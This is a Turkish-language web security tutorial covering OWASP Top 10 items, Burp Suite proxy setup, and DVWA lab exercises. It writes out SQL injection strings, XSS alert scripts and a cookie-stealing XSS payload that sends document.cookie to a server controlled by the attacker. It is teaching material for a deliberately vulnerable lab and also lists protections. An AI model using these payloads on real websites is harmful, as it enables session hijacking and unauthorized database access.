Penetrasyon Testi 4 - Web Uygulama Güvenliği (OWASP, DVWA, Payloads)
                    OWASP Nedir ?
OWASP, (Open Web Application Security Project), yani Türkçe’de Açık Web Uygulama Güvenliği Projesi, kâr amacı gütmeyen küresel bir kuruluştur. Amacı, yazılım güvenliğini geliştirmek ve web uygulamalarının güvenliğini artırmak için açık kaynaklı araçlar, metodolojiler ve belgeler sağlamaktır. OWASP, geliştiriciler, güvenlik uzmanları ve şirketler için ortak bir bilgi kaynağı görevi görür. OWASP’ın çalışmaları tamamen gönüllüler tarafından yürütülür ve projeleri, uygulamaların potansiyel güvenlik açıklarına karşı korunmasına yardımcı olacak pratik ve etkili çözümler sunar.

OWASP’ın en bilinen projelerinden biri, web uygulamalarındaki en kritik güvenlik risklerini belirleyen “OWASP Top 10” listesidir. Bu liste, güvenlik açıklarının yaygınlığını, tespit edilebilirliğini ve potansiyel etkisini değerlendirerek oluşturulur ve geliştiricilere, hangi güvenlik açıklarına öncelik vermeleri gerektiği konusunda yol gösterir.
OWASP Top 10
OWASP Top 10 listesi, web uygulamalarının karşılaştığı en yaygın ve tehlikeli zafiyetleri temsil eder.
Biz bunlardan 3 tanesini inceleyeceğiz.
Güncel Top 10 sırasına OWASP resmi sitesinden erişebilirsiniz.
https://owasp.org/www-project-top-ten/
1. Injection (Enjeksiyon)
Bu, web uygulamalarının en eski ve en yaygın güvenlik açıklarından biridir. Bir saldırgan, kullanıcı girdisi gibi görünen kötü niyetli veriyi bir uygulamaya göndererek, uygulamanın normal akışını bozmaya çalışır. Bu veriler, uygulamanın veritabanı sorgularında, işletim sistemi komutlarında veya diğer arka uç sistemlerinde komut olarak algılanabilir.
SQL Enjeksiyonu bu zafiyetin en popüler türüdür. Saldırgan, bir form alanına özel olarak hazırlanmış SQL kodları enjekte ederek, veritabanından yetkisiz bilgi alabilir, verileri değiştirebilir veya silebilir. Örneğin, bir login sayfasında kullanıcı adı ve şifre yerine admin'-- gibi bir girdi kullanmak, SQL sorgusunun şifre kontrolünü atlamasına neden olabilir.
Korumalar:
- Hazırlanmış İfadeler (Prepared Statements): Girdi verilerini komutlardan ayırmak için kullanılır.
 - Girdi Doğrulaması: Kullanıcıdan gelen verilerin beklenen formatta olduğunu kontrol etmek.
 - Minimum Yetki Prensibi: Veritabanı kullanıcılarına yalnızca ihtiyaç duydukları minimum yetkiyi vermek.
 
2. Broken Authentication (Bozuk Kimlik Doğrulama)
Bu zafiyet, kullanıcı hesaplarını veya oturumları ele geçirmekle ilgilidir. Uygulama, kimlik doğrulama mekanizmalarını doğru bir şekilde uygulamadığında ortaya çıkar. Bu durum, saldırganların kullanıcıların kimliklerini taklit etmesine, hesaplara erişmesine ve hatta tüm sistemin kontrolünü ele geçirmesine olanak tanır.
Örnek zafiyetler şunları içerir:
- Zayıf veya varsayılan şifre politikaları.
 - Güvenlik sorularının kolayca tahmin edilebilir olması.
 - Oturum kimliklerinin kolayca tahmin edilebilir veya ele geçirilebilir olması.
 - Şifre sıfırlama mekanizmalarının yetersiz olması.
 
Korumalar:
- Güçlü Şifre Politikaları: Şifrelerin karmaşık ve uzun olmasını zorunlu kılmak.
 - Çok Faktörlü Kimlik Doğrulama (MFA): Kullanıcılardan birden fazla kimlik doğrulama adımı talep etmek.
 - Oturum Yönetimi: Oturum kimliklerini güvende tutmak ve belirli bir süre sonra oturumları sonlandırmak.
 
3. Cross-Site Scripting (XSS)
XSS, saldırganın kötü niyetli komut dosyalarını (genellikle JavaScript) bir web sayfasına enjekte etmesine olanak tanıyan bir güvenlik açığıdır. Bu komut dosyaları, sayfa bir kullanıcı tarafından ziyaret edildiğinde çalışır ve kullanıcının tarayıcısında zararlı eylemler gerçekleştirebilir.
Üç ana XSS türü vardır:
- Stored (Kalıcı) XSS: Saldırganın kötü niyetli komut dosyasını sunucuya kaydettiği durumdur (örneğin, bir forum gönderisi veya yorum). Bu komut dosyası, sayfayı ziyaret eden her kullanıcı için çalışır.
 - Reflected (Yansıtılmış) XSS: Saldırganın kötü niyetli komut dosyasını URL’ye ekleyerek bir kullanıcıya gönderdiği durumdur. Kullanıcı bu URL’ye tıkladığında, komut dosyası tarayıcısında yansıtılır ve çalışır.
 - DOM-based XSS: Kötü niyetli komut dosyasının, sunucuya hiç ulaşmadan, yalnızca tarayıcıdaki DOM (Document Object Model) üzerinde manipülasyon yaparak çalıştığı durumdur.
 
Korumalar:
- Girdi Dezenfeksiyonu (Sanitization): Kullanıcıdan gelen verilerdeki potansiyel tehlikeli karakterleri veya kodları kaldırmak.
 - Çıktı Kodlaması (Output Encoding): Verileri HTML formatında güvenli bir şekilde görüntülemek için özel karakterleri dönüştürmek (örneğin 
<karakterini<olarak kodlamak). - İçerik Güvenlik Politikası (CSP): Hangi kaynaklardan komut dosyalarının çalıştırılabileceğini belirleyen tarayıcı tabanlı bir güvenlik mekanizmasıdır.
 
Burp Suite (Proxies, Intercept, Repeater)
Burp Suite, siber güvenlik uzmanlarının web uygulamalarındaki güvenlik açıklarını bulmak için kullandığı en popüler araçlardan biridir. Kapsamlı bir platform olmasına rağmen, en temel ve güçlü işlevleri Proxy, Intercept ve Repeater modülleridir. Bunlar, web trafiğini kontrol etmenizi, incelemenizi ve manipüle etmenizi sağlar.
1. Burp Suite Proxy: Trafiğin Kalbi
Proxy, kelime anlamıyla “aracı” demektir. Burp Suite’in Proxy modülü, web tarayıcınız ile ziyaret ettiğiniz web sitesi arasında bir aracı sunucu gibi davranır. Tarayıcınızdan çıkan her HTTP (veya HTTPS) isteği önce Burp’a gelir, Burp bu isteği hedef sunucuya iletir ve sunucudan gelen her yanıtı da önce Burp alır ve sonra size gönderir.
Bu sayede, web tarayıcınızın göremediği tüm trafiği, yani gönderilen isteklerin (request) ve gelen yanıtların (response) tüm detaylarını görebilirsiniz. Proxy modülü, web uygulamasının nasıl çalıştığını, hangi verileri gönderdiğini ve nasıl yanıt verdiğini anlamak için hayati önem taşır.
Kullanım Amacı:
- Web uygulamalarıyla iletişimini izlemek.
 - Gizli veri transferlerini (örneğin API çağrıları) keşfetmek.
 - Zafiyet taramaları için temel trafik akışını anlamak.
 
2. Intercept: İstekleri Durdurma Noktası
Intercept (Türkçe’de “yakalamak” veya “durdurmak” anlamına gelir), Proxy modülünün bir alt sekmesidir ve en güçlü özelliklerinden biridir. Intercept açıkken (Intercept is on), tarayıcınızdan çıkan her bir HTTP isteği, hedef sunucuya ulaşmadan önce Burp’ta durur.
Bu durdurma noktasında, isteğin tamamını (URL, başlıklar ve gövde verileri) görebilir, üzerinde değişiklik yapabilir ve sonra hedef sunucuya gönderebilirsiniz. Aynı şekilde, sunucudan gelen yanıtları da durdurup inceleyebilir ve üzerinde değişiklikler yapabilirsiniz.
Kullanım Amacı:
- Yetkisiz erişim testi: Bir isteğin yetkilendirme başlığını (authorization header) silerek, yetkisiz bir kullanıcının sayfaya erişip erişemediğini test etmek.
 - Parametre manipülasyonu: Fiyat gibi kritik parametrelerin değerini değiştirerek, uygulamanın bu manipülasyona nasıl tepki verdiğini gözlemlemek (örneğin, bir ürünün fiyatını 1 dolara düşürmek).
 - İstek verilerini değiştirmek: Bir formun gizli alanlarını veya çerezleri (cookies) değiştirerek uygulamada farklı davranışlar tetiklemek.
 
3. Repeater: İstekleri Tekrarlama ve Modifiye Etme
Repeater (Türkçe’de “tekrarlayıcı”), Proxy’den veya diğer Burp modüllerinden gelen bir isteği manuel olarak alıp, istediğiniz kadar tekrar tekrar göndermenizi sağlayan bir araçtır.
Bir isteği Repeater’a gönderdikten sonra, bu isteği durdurmadan, istediğiniz parametreleri değiştirerek defalarca gönderebilir ve her seferinde sunucunun verdiği yanıtı anlık olarak görebilirsiniz. Bu, özellikle bir güvenlik açığının varlığını test ederken veya farklı girdilerin uygulamayı nasıl etkilediğini anlamaya çalışırken çok kullanışlıdır.
Kullanım Amacı:
- Tekrarlanan testler: Bir SQL Injection veya XSS zafiyetini test ederken, farklı payload’ları (zararlı kodlar) hızlıca denemek ve sunucunun verdiği yanıtları gözlemlemek.
 - Brute-force hazırlığı: Bir isteği Repeater’da hazırlayıp, daha sonra Burp Intruder gibi otomatik araçlara göndererek saldırıları otomatikleştirmek.
 - API testleri: Bir API uç noktasını (endpoint) farklı parametrelerle test ederek, hata mesajlarını veya beklenmedik yanıtları bulmak.
 
Bu üç temel modül, bir sızma testi uzmanının web uygulamalarını analiz etmesi, zafiyetleri bulması ve doğrulamasını sağlamak için birbiriyle entegre bir şekilde çalışır.
Burp Suite ile Web Güvenliği Testleri: Pratik Uygulama Rehberi
Bu kısımda, web uygulamalarının güvenlik açıklarını tespit etmek için en yaygın kullanılan araçlardan biri olan Burp Suite’in temel işlevlerini pratik bir örnekle ele alacağız. Burp Suite’in en güçlü modülleri olan Proxy, Intercept ve Repeater’ı kullanarak, web trafiğini nasıl inceleyip manipüle edebileceğimizi adım adım göreceğiz.
Adım 1: Burp Suite Kurulumu ve Proje Başlatma
Burp Suite, web güvenliği profesyonelleri için bir standart haline gelmiştir. İlk adım olarak, yazılımı resmi sitesinden indirmeniz gerekmektedir.
- Burp Suite’in ücretsiz ve temel sürümü olan Community Edition’ı resmi PortSwigger web sitesinden indirerek kurulumu başlatıyoruz.
 

Kurulum tamamlandıktan sonra, programı başlattığımızda bir proje oluşturmamız istenir. Bu aşamada, geçici bir proje oluşturmak pratik bir başlangıçtır.
Temporary project in memoryseçeneğini seçerek, diskte herhangi bir dosya oluşturmadan anlık bir oturum başlatıyoruz. Bu, hızlı testler için idealdir.

- Karşımıza çıkan ikinci ekranda, Burp Suite’in varsayılan ayarlarını kullanarak devam ediyoruz. 
Use Burp defaultsseçeneği, yeni başlayanlar için en iyi seçenektir ve ilk testlerimizi yapmak için gerekli tüm yapılandırmaları içerir. 

Adım 2: Tarayıcı ve Proxy Ayarlarını Yapılandırma
Burp Suite’i kullanabilmek için, tarayıcınızdan gelen trafiği Burp’ün üzerinden geçecek şekilde ayarlamamız gerekmektedir. Bunun için en kolay yöntem, bir tarayıcı eklentisi kullanmaktır.
- Tarayıcıda proxy ayarlarını her seferinde manuel olarak değiştirmemek için FoxyProxy gibi bir eklenti yüklüyoruz. Bu eklenti, farklı proxy profilleri arasında hızlıca geçiş yapmamızı sağlar.
 

- FoxyProxy ayarlarına girerek yeni bir profil oluşturuyoruz. Başlık kısmına 
Burp,Hostnamekısmına127.0.0.1vePortkısmına8080yazıyoruz. Bu bilgiler, Burp Suite'in varsayılan proxy dinleme adresiyle eşleşmektedir. 

- FoxyProxy eklentisine tıklayarak oluşturduğumuz 
Burpprofilini seçiyoruz. Bu andan itibaren, tarayıcımızdan çıkan tüm HTTP/HTTPS trafiği Burp Suite'in kontrolünden geçecektir. 

Adım 3: HTTPS Trafiği İçin Sertifika Kurulumu
Web sitelerinin çoğu artık HTTPS (şifreli) bağlantı kullanmaktadır. Burp Suite’in bu trafiği inceleyebilmesi için, kendi SSL/TLS sertifikasının tarayıcıya güvenilir olarak eklenmesi gerekir.
- Tarayıcımızdan 
http://burpadresine giderek Burp'ün sertifika indirme sayfasına ulaşıyoruz veCA Certificatelinkine tıklayarak sertifikayı indiriyoruz. 

- Tarayıcının sertifika yöneticisi bölümüne (örneğin Chrome’da 
chrome://settings/certificates) giderek indirdiğimiz sertifikayı içe aktarıyoruz. Bu işlem, Burp Suite tarafından üretilen güvenli bağlantıların artık tarayıcı tarafından kabul edilmesini sağlar. 

Adım 4: Trafiği İzleme ve Manipüle Etme
Tüm kurulumları tamamladıktan sonra, Burp Suite’in temel işlevlerini kullanmaya başlayabiliriz.
- Burp Suite arayüzündeki Proxy sekmesine geçiyoruz. Burada, 
Optionsbölümünde proxy'nin127.0.0.1:8080adresinde dinlemede olduğunu görebiliriz.Interceptalt sekmesine tıkladığımızda,Intercept is onbutonunun aktif olduğunu görüyoruz. Bu, tarayıcıdan gelen tüm isteklerin sunucuya gitmeden önce durdurulacağı anlamına gelir. 

Intercept is ondurumundayken, tarayıcımızda herhangi bir siteye girdiğimizde veya bir arama yaptığımızda, istekler Burp Suite'in ekranında duracaktır. Ekranda, Google gibi sitelere yapılanGETvePOSTisteklerini ve bu isteklerin detaylarını (Headers,Parameters,Body) inceleyebiliyoruz.

Bu adımlar, bir siber güvenlik uzmanının veya sızma testi araştırmacısının Burp Suite’i kullanarak web trafiğini nasıl kontrol ettiğini ve manipüle ettiğini gösteren temel bir rehber niteliğindedir. Bu sayede, bir web uygulamasının güvenlik açıklarını daha derinlemesine analiz etmenin kapıları aralanmış olur.
DVWA (Damn Vulnerable Web Application) Nedir?

DVWA, kelime anlamıyla “Lanet Olası Hassas Web Uygulaması” anlamına gelir. DVWA, PHP ve MySQL kullanılarak geliştirilmiş, güvenlik açıklarını pratik olarak öğrenmek ve sızma testi becerilerini geliştirmek isteyenler için özel olarak tasarlanmış bir web uygulamasıdır. İçinde bilerek bırakılmış birçok yaygın güvenlik açığı (OWASP Top 10'daki zafiyetlerin çoğu) bulunur.
DVWA’nın amacı, bir web uygulamasının güvenlik açıklarını bulma, istismar etme ve bu açıkları kapatma tekniklerini güvenli ve yasal bir ortamda uygulayarak öğrenmenizi sağlamaktır. Kullanıcılar, farklı güvenlik seviyelerinde (Düşük, Orta, Yüksek ve İmkanSız) bu zafiyetleri test edebilirler.
- Düşük Seviye: Bu seviyede, hiçbir güvenlik önlemi alınmamıştır. Bu, güvenlik açıklarının nasıl çalıştığını anlamak için idealdir.
 - Orta Seviye: Temel güvenlik önlemleri alınmıştır (örneğin, bazı girdileri filtrelemek gibi).
 - Yüksek Seviye: Daha gelişmiş güvenlik önlemleri alınmıştır.
 - İmkanSız Seviye: Bu seviye, zafiyetin kapatıldığı, güvenli kodun nasıl olması gerektiğini gösterir.
 
DVWA Kurulumu Nasıl Yapılır ?

https://www.youtube.com/watch?v=eQfBvMkTTZo bu youtube videosu ile kurulummu yapabilirsiniz.
DVWA - SQL Injection Uygulaması
- Güvenlik Seviyesini Ayarlayın:
 - Sol menüdeki 
DVWA Securitykısmına tıklayın. Security Levelayarınılow(düşük) olarak belirleyin veSubmitbutonuna basın. Bu, zafiyetleri en kolay şekilde test etmenizi sağlar.

Zafiyetleri Keşfedin:
Sol menüde, DVWA’da bulunan zafiyet türlerini görebilirsiniz:
Brute ForceCommand InjectionSQL InjectionFile InclusionCross-Site Scripting (XSS)
…ve daha fazlası.
Örneğin, SQL Injection'a tıklayarak bu zafiyetin bulunduğu sayfaya gidin. Sayfada bir kullanıcı ID'si girmeniz istenir. Buraya 1' or '1'='1 gibi SQL enjeksiyon payload'ları girerek zafiyeti istismar etmeye çalışabilirsiniz.

DVWA - Reflected (Yansıtılmış) XSS Saldırısı
Bu zafiyetin mantığı: Saldırganın gönderdiği zararlı script, web sunucusu tarafından işlenir ve direkt olarak sayfanın çıktısına yansıtılır.
- Sol menüden 
XSS (Reflected)'a tıklayın. - Karşınıza “What’s your name?” (Adınız ne?) şeklinde bir form ve bir 
Submitbutonu çıkacak. - Normalde buraya adınızı yazarsınız, ancak biz zararlı bir script gireceğiz. Aşağıdaki payload’u (
<script>alert('XSS Saldırısı!')</script>) forma kopyalayıp yapıştırın. 

Submitbutonuna tıklayın.

Sonuç: Sayfa yenilendiğinde, tarayıcınızda “XSS Saldırısı!” yazan bir uyarı kutusu açılacaktır. Bu, enjekte ettiğiniz JavaScript kodunun başarıyla çalıştığını gösterir. Uygulama, girdiğiniz veriyi hiçbir şekilde filtrelemediği veya kontrol etmediği için bu saldırı başarılı olmuştur.
DVWA - XSS (Stored) Zafiyetinin Teoriği ve Pratik Uygulaması
Bu bölümde, web uygulamalarındaki en tehlikeli zafiyetlerden biri olan Stored Cross-Site Scripting (Kalıcı XSS) saldırısını inceleyeceğiz. Bu zafiyetin temel amacı, saldırganın zararlı kodunu web sunucusunun veritabanına kalıcı olarak kaydetmesidir. Bu sayede, sayfayı ziyaret eden her kullanıcı, farkında olmadan bu zararlı kodu kendi tarayıcısında çalıştırır.
Pratik uygulamamız için, bilerek güvenlik açıkları içeren bir eğitim platformu olan DVWA (Damn Vulnerable Web Application) kullanılacaktır.
Amaç: DVWA’nın düşük güvenlik seviyesindeki bir Stored XSS zafiyetini istismar ederek, bir alert pop-up'ı (uyarı kutusu) oluşturmak ve bu kodun veritabanına kalıcı olarak kaydedildiğini göstermek.
Uygulama Adımları
- Soldaki menüde 
XSS (Stored)sayfasına gidin. Karşınıza, bir ziyaretçi defteri gibi görünenNameveMessageadında iki girdi alanına sahip bir form çıkacaktır. Bu form, gönderilen veriyi veritabanına kaydeder ve bu da Stored XSS saldırıları için ideal bir ortam oluşturur. 
Zararlı Payload’u Enjekte Etme:
Namealanına rastgele bir isim girin (örneğin, "Hacker").Messagealanına ise, kullanıcıların tarayıcılarında çalışacak zararlı JavaScript kodunu içeren payload'u yazın:
<script>alert(‘I am a Hacker’)</script>

Sign Guestbookbutonuna tıklayarak formu gönderin.

Saldırının Başarılı Olduğunu Gözlemleme:
- Payload’u gönderir göndermez, tarayıcınızda “I am a Hacker” yazan bir uyarı kutusu belirecektir. Bu, kodun başarıyla çalıştırıldığını gösterir.
 - En önemlisi sayfayı yenilediğinizde veya başka bir kullanıcı aynı sayfaya girdiğinde, bu uyarı kutusu tekrar açılacaktır. Bu durum, payload’umuzun sunucuda kalıcı olarak depolandığını kanıtlar.
 
Sonuç: Bu uygulama, Stored XSS saldırısının işleyişini net bir şekilde ortaya koymaktadır. Saldırgan, tek bir enjeksiyonla, sayfayı ziyaret eden tüm kullanıcılara karşı bir saldırı başlatabilir ve bu da zafiyetin ne kadar tehlikeli olabileceğini gözler önüne serer. Bu saldırı, sadece basit bir alert pop--up'ı yerine, daha önce bahsettiğimiz gibi, kullanıcıların çerezlerini çalmak veya hassas bilgilerini ele geçirmek için de kullanılabilir.
Web Uygulamalarında Payload (Yük) Analizi

Web güvenliği testlerinde Payload (Yük), bir güvenlik açığını istismar etmek için tasarlanmış kötü niyetli veriyi ifade eder. Bu veriler, uygulamanın normal akışını bozarak, beklenmedik komutların çalışmasına veya hassas bilgilere erişilmesine neden olur. İki yaygın zafiyet türü olan SQL Injection ve Cross-Site Scripting (XSS) için kullandığımız payload’ların nasıl çalıştığını açıklayalım.
1. SQL Injection Payload’ları
SQL Injection, bir web uygulamasının veritabanı sorgusuna kötü niyetli SQL komutlarının enjekte edilmesiyle gerçekleştirilen bir saldırıdır.
Kullanılan Payload: 1' or '1'='1'--
Çalışma Mekanizması:
Bu payload, bir kullanıcı kimliği (örneğin ID) sorgusunu atlatmak için tasarlanmıştır. Tipik bir giriş kontrolü sorgusu şu şekildedir: SELECT * FROM users WHERE id = '[Girdi]' AND password = '[Şifre]';
1': İlk olarak, sorgudakiidparametresinin tırnak işaretini (') kapatırız. Bu, sorgunun sözdizimini manipüle etmemizi sağlar.or '1'='1':OR(VEYA) operatörü, bir sonraki koşulun her zaman doğru olmasını sağlar.'1'='1'ifadesi her zamanTRUE(DOĞRU) olarak değerlendirileceği için, sorgunun tamamı daima doğru sonuç verecektir.--: İki tire işareti, SQL'de bir yorum satırı başlatır. Bu, orijinal sorgunun geri kalanını (örneğin şifre kontrolü veya diğer koşulları) etkisiz hale getirir.
Sonuç: Bu payload’u uyguladığımızda, veritabanı sorgusu aşağıdaki gibi bir hale gelir: SELECT * FROM users WHERE id = '1' or '1'='1'-- ' AND password = '[Şifre]';
Sorgu artık şifreye bakmaksızın, her zaman id'si 1 olan kaydı (genellikle admin kullanıcısı) döneceği için, kullanıcı adı ve şifre bilinmeden sisteme giriş yapılmış olur.
2. XSS (Stored) Payload’ları
XSS (Cross-Site Scripting), bir web sayfasına zararlı JavaScript kodunun enjekte edilmesiyle gerçekleştirilen bir saldırıdır. Stored XSS’te bu kod, uygulamanın veritabanında kalıcı olarak saklanır.
Kullanılan Payload (Basit Test): <script>alert('I am a Hacker')</script>
Çalışma Mekanizması:
- Enjeksiyon: Bu payload, bir form alanı (örneğin bir mesaj kutusu) aracılığıyla sunucuya gönderilir.
 - Veritabanına Kayıt: Uygulama, gönderilen veriyi hiçbir güvenlik kontrolünden geçirmeden (filtreleme veya çıktı kodlama yapmadan) veritabanına kaydeder.
 - Çalıştırılma: Başka bir kullanıcı veya saldırganın kendisi, bu mesajın gösterildiği sayfayı ziyaret ettiğinde, tarayıcı HTML içeriğini yükler. Tarayıcı, 
<script>etiketini bir kod bloğu olarak algılar ve içindekialert()fonksiyonunu çalıştırarak ekranda bir uyarı kutusu gösterir. 
Kullanılan Payload (Cookie Yakalama): <img src=x onerror=document.location='http://localhost:8000?c='+document.cookie>
Çalışma Mekanizması:
- Karakter Sınırı Bypass: 
<script>etiketi yerine, daha kısa olan ve hata tabanlı çalışan<img>(resim) etiketi kullanılır.src=xifadesi geçersiz bir resim adresi olduğu için tarayıcı hata verir. - Olay Tetikleme: Tarayıcı bir hata aldığında, 
onerror(hata olduğunda) olayı tetiklenir ve bu olaya bağlı olan JavaScript kodu (document.location=...) çalıştırılır. - Cookie’nin Gönderilmesi: 
document.cookiekomutu, kullanıcının çerez verisini okur. Bu veri,document.locationkomutuyla, saldırganın kontrolündeki bir sunucunun URL'sine (http://localhost:8000) bir parametre (?c=) olarak eklenerek gönderilir. 
Sonuç: Her iki payload da, uygulamanın kullanıcı girdisini güvensiz bir şekilde işlediğini gösterir. Bu durum, saldırganların oturum kimlikleri gibi hassas verileri çalmasına veya kullanıcıların hesapları üzerinde kontrol elde etmesine olanak tanır.